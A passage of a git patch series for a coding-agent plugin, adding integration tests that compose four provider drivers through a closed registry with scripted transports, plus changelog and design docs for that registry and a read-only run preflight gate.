assert.equal(launch.base_sha, GROK_FIXTURE.base_sha); + assert.equal(launch.child_envelope_digest, GROK_FIXTURE.child_envelope_digest); + const observe = driver.reconcile(grokRequest('reconcile')); + assert.equal(observe.disposition, 'terminal'); + const cancel = driver.cancel(grokRequest('cancel')); + assert.equal(cancel.disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 0, + 'terminal cancel absorbs without touching the transport'); + // No wrapper layer: accepted evidence inspection works on the composed object. + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: GROK_FIXTURE.run_id, + assignment_id: GROK_FIXTURE.assignment_id, + child_envelope_digest: GROK_FIXTURE.child_envelope_digest, + }); + assert.equal(evidence.child_envelope_digest, GROK_FIXTURE.child_envelope_digest); +}); + +test('composition drives the accepted Cursor Cloud lane end to end behind the registry', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = composeProviderDriverV1('cursor-cloud', { transport }); + assert.equal(driver.preflight(cloudRequest('preflight')).disposition, 'ready'); + const launch = driver.launch(cloudRequest('launch')); + assert.equal(launch.disposition, 'dispatched'); + assert.equal(launch.run_id, CLOUD_FIXTURE.run_id); + assert.equal(launch.child_envelope_digest, CLOUD_FIXTURE.child_envelope_digest); + const observed = driver.reconcile(cloudRequest('reconcile')); + assert.equal(observed.disposition, 'in_progress'); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: CLOUD_FIXTURE.run_id, + assignment_id: CLOUD_FIXTURE.assignment_id, + child_envelope_digest: CLOUD_FIXTURE.child_envelope_digest, + }); + assert.equal(evidence.status, 'running'); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 1); + assert.equal(cursorCloudCallsOf(transport, 'send').length, 1); +}); + +test('composition builds the accepted DSH facade and its honest uncertain posture', () => { + const facade = composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'managed', + }); + assert.equal(facade.provider, DSH_PROVIDER); + assert.equal(facade.workspace_mode, 'managed'); + const lane = dispatchLane(facade.driver, DSH_FIXTURE); + assert.equal(lane.preflight.disposition, 'ready'); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + assert.equal(lane.reconcile().disposition, 'in_progress'); +}); + +test('composition builds the accepted Cursor Local facade behind the registry', () => { + const stub = createCursorLocalTransportStub('happy'); + const facade = composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration(), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: stub.transport, + }); + assert.equal(facade.provider, CURSOR_LOCAL_PROVIDER); + const request = (operation) => ({ + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: LOCAL_FIXTURE.envelope_text, + child_envelope_digest: LOCAL_FIXTURE.child_envelope_digest, + }); + assert.equal(facade.driver.preflight(request('preflight')).disposition, 'ready'); + assert.equal(facade.driver.launch(request('launch')).disposition, 'dispatched'); + assert.equal(stub.state.spawnCalls, 1); + assert.equal(stub.state.sends, 1); +}); + +test('compositions are independent and never share lanes or state', () => { + const first = composeProviderDriverV1('grok', { transport: createScriptedGrokAcpTransportV1() }); + const second = composeProviderDriverV1('grok', { transport: createScriptedGrokAcpTransportV1() }); + assert.notEqual(first, second); + assert.equal(second.preflight(grokRequest('preflight')).disposition, 'ready', + 'a fresh composition starts from its own absent state'); + first.preflight(grokRequest('preflight')); + first.launch(grokRequest('launch')); + // The second lane was never touched by the first lane's lifecycle. + expectCode(() => second.reconcile(grokRequest('reconcile')), 'not_dispatched'); +}); + +test('accepted adapter failures pass through unwrapped with no substitution', () => { + expectCode(() => composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'direct', + }), 'direct_mode_rejected', + 'the adapter\'s own typed denial surfaces unchanged; no other provider is tried'); + expectCode(() => composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration({ provider: 'grok' }), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: createCursorLocalTransportStub('happy').transport, + }), 'provider_mismatch'); +}); From 22d8c01375d03b8b8d4fdf09a83923ca0223bc7a Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Mon, 24 Aug 2026 23:59:23 +0000 Subject: [PATCH 72/81] test(provider): compose every accepted driver behind the P23 registry Prove the registry is the composition authority: each accepted adapter (P18 Grok ACP, P19 Cursor Local, P20 DSH ACPX, P21 Cursor Cloud) composes exclusively through composeProviderDriverV1 and drives its accepted preflight/launch/reconcile/cancel lifecycle with exact identity echo (run_id, assignment_id, lane_index, base_sha, child_envelope_digest), honest dispatch certainty (Grok and Cursor Cloud confirmed only after an authoritative acknowledgement; DSH stays uncertain after spawn with replay_denied on a second launch), terminal absorption, one-spawn/one-ack local dispatch, no cross-talk between four coexisting lanes, inventory surfaces byte-faithful to every accepted describe function, exact factory identity for all four slots, and the P22 kit still passing against the inert template as evidence that never qualifies a live route. --- .../r1-provider-registry-integration.test.mjs | 243 ++++++++++++++++++ 1 file changed, 243 insertions(+) create mode 100644 plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs diff --git a/plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs b/plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs new file mode 100644 index 0000000..cffe9ae --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs @@ -0,0 +1,243 @@ +// P23 integration proof: every accepted provider driver (P18 Grok ACP, +// P19 Cursor Local, P20 DSH ACPX, P21 Cursor Cloud) composes behind the +// closed registry and drives its accepted lifecycle with exact identity +// echo. The P22 future harness stays mock/conformance evidence only. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + bindCursorCloudDriverV1, + createCursorCloudDriverV1, + describeCursorCloudDriverV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { + createDshApxDriverV1, + describeDshApxDriverV1, +} from '../mcp/v3/dsh-acpx-driver.mjs'; + +import { + bindGrokAcpDriverV1, + createGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + PROVIDER_REGISTRY_SLOTS, + REGISTRY_SELECTION_RULE, + composeProviderDriverV1, + describeProviderRegistryV1, + registryComposeFunctionV1, +} from '../mcp/v3/provider-registry.mjs'; +import { createFutureHarnessDriverTemplateV1 } from '../mcp/v3/future-harness.mjs'; +import { runFutureHarnessConformanceKitV1 } from '../mcp/v3/provider-driver-conformance.mjs'; +import { + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; +import { + dispatchLane, + dshEnvelope, + fakeDshTransport, +} from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, +} from './fixtures/r1-grok-acp-transport.mjs'; +import { + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; +import { + futureHarnessTemplateOptionsV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +const GROK_FIXTURE = buildGrokDriverFixtureV1(); +const CLOUD_FIXTURE = buildCursorCloudDriverFixtureV1(); +const LOCAL_FIXTURE = buildCursorLocalFixtureV1(); +const DSH_FIXTURE = dshEnvelope('stealth/ox-alpha'); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, + message); +} + +function requestFor(fixture, operation, extras = {}) { + return { + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...extras, + }; +} + +function assertIdentityEcho(receipt, fixture, label) { + assert.equal(receipt.run_id, fixture.run_id, `${label} run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${label} assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${label} lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${label} base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${label} child_envelope_digest`); +} + +test('every registered slot composes the exact accepted factory object', () => { + assert.equal(registryComposeFunctionV1('grok'), bindGrokAcpDriverV1); + assert.equal(registryComposeFunctionV1('cursor-local'), createCursorLocalDriverV1); + assert.equal(registryComposeFunctionV1('cursor-cloud'), bindCursorCloudDriverV1); + assert.equal(registryComposeFunctionV1('dsh'), createDshApxDriverV1); + // The raw accepted creators stay reachable through the same authority. + const description = describeProviderRegistryV1(); + assert.deepEqual(Object.keys(description.entries).sort(), + ['cursor-cloud', 'cursor-local', 'dsh', 'grok']); +}); + +test('the composed Grok ACP driver runs the accepted lifecycle with identity echo', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = composeProviderDriverV1('grok', { transport }); + const preflight = driver.preflight(requestFor(GROK_FIXTURE, 'preflight')); + assert.equal(preflight.disposition, 'ready'); + assertIdentityEcho(preflight, GROK_FIXTURE, 'grok preflight'); + const launch = driver.launch(requestFor(GROK_FIXTURE, 'launch')); + assert.equal(launch.disposition, 'dispatched', + 'launch confirms only after the authoritative acknowledgement'); + assertIdentityEcho(launch, GROK_FIXTURE, 'grok launch'); + assert.equal(driver.reconcile(requestFor(GROK_FIXTURE, 'reconcile')).disposition, 'terminal'); + const cancel = driver.cancel(requestFor(GROK_FIXTURE, 'cancel')); + assert.equal(cancel.disposition, 'already_terminal'); + assertIdentityEcho(cancel, GROK_FIXTURE, 'grok cancel'); +}); + +test('the composed Cursor Local driver runs the accepted lifecycle with one spawn and ack', () => { + const stub = createCursorLocalTransportStub('happy'); + const facade = composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration(), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: stub.transport, + }); + assert.equal(facade.provider, 'cursor-local'); + const driver = facade.driver; + const preflight = driver.preflight(requestFor(LOCAL_FIXTURE, 'preflight')); + assert.equal(preflight.disposition, 'ready'); + assertIdentityEcho(preflight, LOCAL_FIXTURE, 'cursor-local preflight'); + const launch = driver.launch(requestFor(LOCAL_FIXTURE, 'launch')); + assert.equal(launch.disposition, 'dispatched'); + assertIdentityEcho(launch, LOCAL_FIXTURE, 'cursor-local launch'); + assert.equal(stub.state.spawnCalls, 1); + assert.equal(stub.state.sends, 1); + assert.equal(stub.state.acks, 1); + const observed = driver.reconcile(requestFor(LOCAL_FIXTURE, 'reconcile')); + assert.equal(observed.disposition, 'in_progress'); + const cancelled = driver.cancel(requestFor(LOCAL_FIXTURE, 'cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); +}); + +test('the composed DSH ACPX driver keeps honest post-spawn uncertainty', () => { + const facade = composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'managed', + }); + const lane = dispatchLane(facade.driver, DSH_FIXTURE); + assert.equal(lane.preflight.disposition, 'ready'); + assertIdentityEcho(lane.launch, DSH_FIXTURE, 'dsh launch'); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + expectCode(() => lane.launchAgain(), 'replay_denied', + 'an uncertain launch is never replayed through the registry-composed driver'); + const observed = lane.reconcile({ include: ['live_progress'] }); + assert.equal(observed.disposition, 'in_progress'); + assertIdentityEcho(observed, DSH_FIXTURE, 'dsh reconcile'); + const cancelled = lane.cancel(); + assert.equal(cancelled.disposition, 'cancel_confirmed'); +}); + +test('the composed Cursor Cloud driver never authorizes merge or PR work', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = composeProviderDriverV1('cursor-cloud', { transport }); + const preflight = driver.preflight(requestFor(CLOUD_FIXTURE, 'preflight')); + assert.equal(preflight.disposition, 'ready'); + assertIdentityEcho(preflight, CLOUD_FIXTURE, 'cursor-cloud preflight'); + const launch = driver.launch(requestFor(CLOUD_FIXTURE, 'launch')); + assert.equal(launch.disposition, 'dispatched'); + assertIdentityEcho(launch, CLOUD_FIXTURE, 'cursor-cloud launch'); + const observed = driver.reconcile( + requestFor(CLOUD_FIXTURE, 'reconcile', { include: ['live_progress'] })); + assert.equal(observed.disposition, 'in_progress'); + const cancelled = driver.cancel(requestFor(CLOUD_FIXTURE, 'cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); +}); + +test('four accepted lanes coexist without cross-talk through the registry', () => { + const grok = composeProviderDriverV1('grok', { transport: createScriptedGrokAcpTransportV1() }); + const cloudTransport = createScriptedCursorCloudTransportV1(); + const cloud = composeProviderDriverV1('cursor-cloud', { transport: cloudTransport }); + const localStub = createCursorLocalTransportStub('happy'); + const local = composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration(), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: localStub.transport, + }); + const dshFacade = composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'managed', + }); + // Dispatch each lane; each stays bound to its own exact child identity. + assert.equal(grok.preflight(requestFor(GROK_FIXTURE, 'preflight')).disposition, 'ready'); + assert.equal(cloud.preflight(requestFor(CLOUD_FIXTURE, 'preflight')).disposition, 'ready'); + assert.equal(local.driver.preflight(requestFor(LOCAL_FIXTURE, 'preflight')).disposition, + 'ready'); + assert.equal( + dshFacade.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', + version: 1, + envelope_text: DSH_FIXTURE.envelope_text, + child_envelope_digest: DSH_FIXTURE.child_envelope_digest, + }).disposition, 'ready'); + // Cross-provider digests are stale everywhere else. + assert.notEqual(GROK_FIXTURE.child_envelope_digest, CLOUD_FIXTURE.child_envelope_digest); + assert.notEqual(GROK_FIXTURE.child_envelope_digest, LOCAL_FIXTURE.child_envelope_digest); + assert.notEqual(DSH_FIXTURE.child_envelope_digest, LOCAL_FIXTURE.child_envelope_digest); + assert.equal(localStub.state.spawnCalls, 0, 'no provider spawns during preflight phase'); +}); + +test('inventory surfaces stay byte-faithful to every accepted adapter description', () => { + const entries = describeProviderRegistryV1().entries; + assert.deepEqual(entries.grok.adapter_surface, describeGrokAcpAdapterSurfaceV1()); + assert.deepEqual(entries['cursor-local'].adapter_surface, describeCursorLocalDriverV1()); + assert.deepEqual(entries['cursor-cloud'].adapter_surface, describeCursorCloudDriverV1()); + assert.deepEqual(entries.dsh.adapter_surface, describeDshApxDriverV1()); +}); + +test('the P22 kit still passes against the inert template as evidence only', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'registry-inventory-template-dsh', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }); + assert.equal(report.ok, true); + assert.equal(report.live_transport_qualification, false, + 'the registered P22 surface proves contract evidence, never a live route'); + + // The registry inventory is the only composition authority: exactly four + // slots, one accepted adapter each, selection rule pinned. + const description = describeProviderRegistryV1(); + assert.equal(PROVIDER_REGISTRY_SLOTS.length, 4); + assert.equal(description.selection_rule, REGISTRY_SELECTION_RULE); + assert.deepEqual([...description.slots], [...PROVIDER_REGISTRY_SLOTS]); + for (const slot of description.slots) { + const entry = description.entries[slot]; + assert.equal(entry.provider, slot); + assert.ok(entry.adapter_surface.live_qualification === false + || entry.adapter_surface.claims?.live_transport_qualification === false + || entry.adapter_surface.transport_mode !== undefined, slot); + } +}); From f6467f18bddc70248ab14bcfa0ca12ee3abd9351 Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Mon, 24 Aug 2026 23:59:36 +0000 Subject: [PATCH 73/81] docs(provider): record the P23 registry cutover boundary Add docs/provider-registry.md describing the closed invariants (four grammar-ordered slots, deterministic exact_closed_slot_no_fallback selection, one accepted factory per slot, no ambient discovery, content-free typed failure, quoted-not-restated accepted claims), the registered surfaces table, the API, the non-goals (no supervisor/server/ scheduler/durable-store cutover, no live qualification, no merge/PR authority, no direct mode, no version change), and the test commands. Update docs/future-work.md so the registry cutover is recorded as in-tree while supervisor/server cutover onto it, real-route qualification, scheduler, durable store, evidence bundles, cloud-worker sinks, cleanup, run runtime, and AttentionBatchV1 stay later work. Record the P23 registry entry under [Unreleased] -> Added. --- CHANGELOG.md | 32 ++++++++++++ docs/future-work.md | 13 +++-- docs/provider-registry.md | 103 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 143 insertions(+), 5 deletions(-) create mode 100644 docs/provider-registry.md diff --git a/CHANGELOG.md b/CHANGELOG.md index 6074e0d..a2c8b0d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,38 @@ ### Added +- **Provider registry composition authority.** Adds the additive v3 + `provider-registry.mjs` module (P23): the deterministic, closed + composition authority behind provider selection. It registers exactly the + four accepted `ProviderDriverV1` adapters (P18 Grok ACP `grok`, P19 + Cursor Local `cursor-local`, P21 Cursor Cloud `cursor-cloud`, P20 DSH + ACPX `dsh`) in the frozen P02 grammar slot order, re-deriving that + vocabulary from the accepted grammar leaf so it cannot drift. Selection + (`resolveRegistrySelectionV1`) maps an exact `{provider, model}` pair + onto one entry under `exact_closed_slot_no_fallback` with no preference + walk, substitution, fallback, retry, or replay; closed model lists are + enforced against accepted constants and grammar-owned models stay with + their adapters, so no vocabulary is widened. Composition + (`composeProviderDriverV1`) gates the provider before reading any option + byte, quarantines hostile inputs content-free (Proxies, accessors, + symbols, non-enumerables, exotic prototypes, unknown keys fail closed + without running caller code), delegates to the one exact accepted factory, + and returns its value untouched so adapter lane stores, evidence maps, + and identity binding keep accepted semantics. Inventory + (`describeProviderRegistryV1`) quotes each accepted module's own describe + surface in detached frozen clones instead of restating capability claims. + The P22 future-harness template/conformance kit is inventoried as + mock/conformance evidence only: never a fifth provider slot, never + selectable, never composable here. The registry performs no ambient + discovery (no filesystem, environment, PATH, network, clock, random + source, process, or dynamic import), performs no supervisor/server/ + scheduler/durable-store cutover, claims no live transport qualification, + merge/PR authority, or direct mode, and changes no version or 3.2.1 + legacy behavior. Coverage lives in `test/r1-provider-registry.test.mjs`, + `test/r1-provider-registry-adversarial.test.mjs`, and + `test/r1-provider-registry-integration.test.mjs`; boundaries live in + `docs/provider-registry.md`. + - **Local provider result sink.** Adds additive v3 `local-provider-result-sink.mjs` (P11) that routes final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI provider output into the accepted diff --git a/docs/future-work.md b/docs/future-work.md index bac883b..de91b63 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -46,11 +46,14 @@ runtime-changed: P11 fixtures `chmod 0700` after creating their own roots and do not include optional P08 umask test-fixture determinization. -Cursor Local and Cursor Cloud adapters, registry cutover, scheduler, -durable store, P12 evidence bundles, cloud-worker sinks, cleanup, run -runtime, and `AttentionBatchV1` remain later work. Gate A remains the -functional release authority; Gate B context-efficiency and Gate C -credit economics stay advisory. +The P23 provider registry (`mcp/v3/provider-registry.mjs`) now composes +the four accepted adapters behind one closed, deterministic composition +authority; see `docs/provider-registry.md`. Supervisor/server cutover onto +that registry, real-route qualification, scheduler, durable store, P12 +evidence bundles, cloud-worker sinks, cleanup, run runtime, and +`AttentionBatchV1` remain later work. Gate A remains the functional +release authority; Gate B context-efficiency and Gate C credit economics +stay advisory. This worktree does not implement the run runtime, candidate composition, or `AttentionBatchV1`. The P16A VerificationPolicyV1 schema and owner loader, the P16B approved-command resolver, and the P16C constrained diff --git a/docs/provider-registry.md b/docs/provider-registry.md new file mode 100644 index 0000000..7608b10 --- /dev/null +++ b/docs/provider-registry.md @@ -0,0 +1,103 @@ +# Provider registry — closed composition authority (P23) + +The P23 provider registry is one additive v3 module, +`plugins/codex-co-engineer/mcp/v3/provider-registry.mjs`. It is the +deterministic, closed composition authority behind provider selection: the +one place where the accepted `ProviderDriverV1` adapters are registered and +composed. It owns only that seam. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/provider-registry.mjs` +- `plugins/codex-co-engineer/test/r1-provider-registry.test.mjs` +- `plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs` + +## Registered surfaces + +Exactly four provider slots exist, in the frozen P02 grammar order +(`grok`, `cursor-local`, `cursor-cloud`, `dsh`). The slot vocabulary is +re-derived on every read from the accepted P02 grammar leaf +(`knownProvidersList()`), so the registry cannot drift from the closed +provider set: + +| Slot | Accepted adapter | Composition seam | +| --- | --- | --- | +| `grok` | P18 `grok-acp-driver.mjs` | `bindGrokAcpDriverV1` (transport property) | +| `cursor-local` | P19 `cursor-local-driver.mjs` | `createCursorLocalDriverV1` (options bag) | +| `cursor-cloud` | P21 `cursor-cloud-driver.mjs` | `bindCursorCloudDriverV1` (transport property) | +| `dsh` | P20 `dsh-acpx-driver.mjs` | `createDshApxDriverV1` (options bag) | + +The P22 future-harness template and conformance kit +(`provider-driver-template.mjs`, `future-harness.mjs`, +`provider-driver-conformance.mjs`) are inventoried as +mock/conformance evidence with `provider_slot: null`. They are never a +fifth provider, never selectable, and never composable through this +surface; passing the kit still proves no live transport. + +## Closed invariants + +- **Closed vocabulary.** Four slots, fixed at module load, frozen, and + re-derived from the P02 grammar. Runtime growth is impossible. +- **Deterministic selection.** `resolveRegistrySelectionV1` maps an exact + `{provider, model}` pair onto exactly one entry with rule + `exact_closed_slot_no_fallback`: no preference walk, no substitution, no + fallback, no retry, and no replay. Where the accepted adapter owns a + closed model list (`dsh`), selection enforces membership against that + accepted frozen constant; where an adapter owns a model grammar, the + adapter stays the sole model authority. No vocabulary is widened. +- **One factory per slot.** `registryComposeFunctionV1(slot)` returns the + exact accepted factory object; `composeProviderDriverV1(slot, options)` + delegates to it after a content-free quarantine and returns its value + untouched. There is no wrapper layer, so adapter lane stores, evidence + maps, and identity binding keep their accepted semantics. +- **No ambient discovery.** The module performs no filesystem, environment, + PATH, network, clock, random-source, process, or dynamic-import access at + load or call time. Registration is static imports of accepted modules. +- **Content-free failure.** Hostile providers, selections, and options — + live or revoked Proxies, accessors, symbols, non-enumerable properties, + exotic prototypes, unknown keys — fail closed with typed + `RunContractV1Error`s whose codes, paths, and messages are fixed + templates. Provider gating happens before any option byte is read, and + getters and proxy traps never execute. +- **Accepted claims are quoted, not restated.** Inventory data is projected + from each accepted module's own exported describe surface into detached + frozen clones, so no parallel capability schema exists. + +## Non-goals + +No supervisor, server, scheduler, or durable-store cutover; no live +transport qualification for any provider; no merge/PR authority; no direct +mode; no ambient discovery; no fallback, replay, retry, or fifth operation; +no version change (3.2.1 legacy receipts and behavior are untouched). The +supervisor/run-runtime cutover onto this registry remains later work under +`docs/future-work.md`. + +## API + +- `describeProviderRegistryV1()` — deterministic deep-frozen inventory: + schema/version, slots, per-slot entries (adapter schema id, compose + function name, option contract, model rule, accepted adapter surface), + the P22 evidence section, and explicit all-false nonclaims. +- `registrySlotsV1()` / `PROVIDER_REGISTRY_SLOTS` — fresh frozen / + snapshot copies of the closed slot order. +- `isRegistrySlotV1(provider)` / `requireRegistrySlotV1(provider)` — + boolean membership / typed exact-slot requirement. +- `registryEntryV1(provider)` — frozen inventory entry for one slot. +- `resolveRegistrySelectionV1({provider, model})` — pure deterministic + selection plan; constructs nothing. +- `registryComposeFunctionV1(provider)` — the exact accepted factory. +- `composeProviderDriverV1(provider, options)` — quarantined composition + through the accepted factory. + +## Testing + +``` +node --no-warnings --test test/r1-provider-registry.test.mjs \ + test/r1-provider-registry-adversarial.test.mjs \ + test/r1-provider-registry-integration.test.mjs +``` + +From `plugins/codex-co-engineer`. The integration file composes every +accepted driver exclusively through the registry and drives preflight, +launch, reconcile, and cancel with exact identity echo. From c7c36dbb8bca99230ffdad90f4dba4ff21848463 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 01:28:24 +0000 Subject: [PATCH 74/81] feat(run): validate exact repository and base SHA Add the additive P26 RunPreflightV1 launch-side validation gate. It validates ONLY: no workspace, branch, task dispatch, credential projection, remote mutation, or reservation is ever created on success or failure; the only spawns are read-only git observations run argv-only under the accepted closed git environment with --no-replace-objects --no-optional-locks and disabled hooks/fsmonitor. One preflight quarantines hostile requests (Proxies, symbols, non-enumerables, aliases), composes the complete accepted P02 contract through parseRunManifestV1(), re-checks writer-scope disjointness over the frozen snapshot, and observes exact canonical repository/base identity on the host: canonical realpath identity, non-bare work-tree toplevel equality, trusted .git layout (directory, linked-worktree pointer, symlink rejection), base existing as exactly one immutable commit object with symbolic spellings denied structurally before any process runs, and no replace refs shadowing object identity. The receipt is detached, deeply frozen, carries all-false launch side-effect nonclaims, and binds a P03 GitIdentityV1 for direct P24 run-store compatibility. P05 resolution and P23 composition stay behind their own authorities and are not invoked. --- docs/run-preflight.md | 97 +++ .../mcp/v3/run-preflight.mjs | 752 ++++++++++++++++++ .../fixtures/r1-run-preflight-fixtures.mjs | 274 +++++++ .../r1-run-preflight-adversarial.test.mjs | 329 ++++++++ .../test/r1-run-preflight.test.mjs | 396 +++++++++ 5 files changed, 1848 insertions(+) create mode 100644 docs/run-preflight.md create mode 100644 plugins/codex-co-engineer/mcp/v3/run-preflight.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-preflight.test.mjs diff --git a/docs/run-preflight.md b/docs/run-preflight.md new file mode 100644 index 0000000..8b412d1 --- /dev/null +++ b/docs/run-preflight.md @@ -0,0 +1,97 @@ +# Run preflight — launch-side validation gate (P26) + +The P26 run preflight is one additive v3 module, +`plugins/codex-co-engineer/mcp/v3/run-preflight.mjs`. It is the validation +gate between an authored run submission and any later launch surface: it +proves a run is launchable exactly as submitted, and it launches nothing. + +## Validate only + +A preflight pass creates **no workspace, no branch or ref, no task dispatch, +no credential projection, no remote mutation, and no reservation** — and a +preflight failure leaves even less. The receipt carries an all-false +side-effect nonclaim map so consumers can assert the boundary in tests. The +module never writes to the filesystem; its only process spawns are read-only +git observations (`rev-parse`, `cat-file -t`, `for-each-ref`) run argv-only +under the accepted closed git environment with `--no-replace-objects +--no-optional-locks`, disabled hooks/fsmonitor/untracked-cache, so even +advisory lock files cannot appear as an observation side effect. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-preflight.mjs` +- `plugins/codex-co-engineer/test/r1-run-preflight.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs` +- this document + +## Exact canonical repository/base identity + +The repository and base SHA are observed on the host, not taken from the +submission's word alone. One observation proves all of: + +- the path is a real directory identical to its own canonical `realpath` + spelling — symlink aliases, bare repositories, non-work-tree roots, and + alternate directory spellings fail closed; +- git independently reports the same work tree toplevel as the submitted + path and yields a trusted absolute git directory; +- the `.git` layout is trusted: a `.git` directory must resolve to the + observed git dir, a linked-worktree `.git` file must point (absolutely or + relatively) at the same resolved target, and symlinked `.git` entries are + rejected; +- the base exists in that repository as **exactly one immutable commit + object**: full 40-character lowercase hex is enforced by the accepted P02 + grammar before any process runs, so symbolic spellings (`HEAD`, `@`, + branch names), abbreviations, uppercase hex, suffix expressions, and + SHA-256-length strings never reach git; annotated tag objects, trees, and + blobs are denied as a base even though they are valid objects; +- no `refs/replace/*` entry shadows object identity. + +Detached HEAD is deliberately irrelevant: the base identity comes from the +object database, never from where HEAD happens to point. + +## Composition + +Preflight composes accepted surfaces and invents none of their semantics: + +| Surface | Owner | Use here | +| --- | --- | --- | +| Run envelope, assignments, policy, scope grammar | P02 `run-manifest` / `run-policy` | complete contract via `parseRunManifestV1()` | +| GitIdentityV1 digest binding | P03 `protected-identity` / `identity` | receipt carries `buildGitIdentityV1()` bytes | +| Selection resolution | P05 resolver | not invoked; resolution stays behind its own authority | +| Provider composition | P23 registry | not invoked; nothing is composed or dispatched | +| Durable submission | P24 run store | consumes `receipt.git_identity`; nothing is written | + +Upstream denial codes pass through unchanged, so existing callers keep +their accepted error vocabulary; codes owned by this boundary live in the +closed `RUN_PREFLIGHT_ERROR_CODES` list. + +## Non-goals + +No workspace provisioning, branch creation, dispatch, scheduling, provider +composition, selection resolution, store writes, cleanup ownership, +supervisor/server cutover, merge or PR authority, direct mode, network +access, or credential handling. Preflight failure output is bounded and +content-free: messages are fixed templates that never echo hostile values. + +## API + +- `validateRunPreflightV1(request, options?)` — async; returns a detached, + deeply frozen ready receipt or throws a typed content-free + `RunContractV1Error`. `request` is `{ manifest }`; `options` may inject + `spawn` (test seam) and `host` facts. +- `describeRunPreflightV1()` — deterministic deep-frozen inventory of the + schema, bounds, checks, error codes, and nonclaims. +- `RUN_PREFLIGHT_SCHEMA_ID`, `RUN_PREFLIGHT_VERSION`, + `PREFLIGHT_MIN_CHILDREN`, `PREFLIGHT_MAX_CHILDREN`, + `PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD`, `RUN_PREFLIGHT_CHECKS`, + `RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS`, `RUN_PREFLIGHT_ERROR_CODES`, + `RUN_PREFLIGHT_READONLY_GIT_COMMANDS`. + +## Testing + +``` +node --no-warnings --test test/r1-run-preflight.test.mjs \ + test/r1-run-preflight-adversarial.test.mjs \ + test/r1-run-preflight-side-effect.test.mjs +``` diff --git a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs new file mode 100644 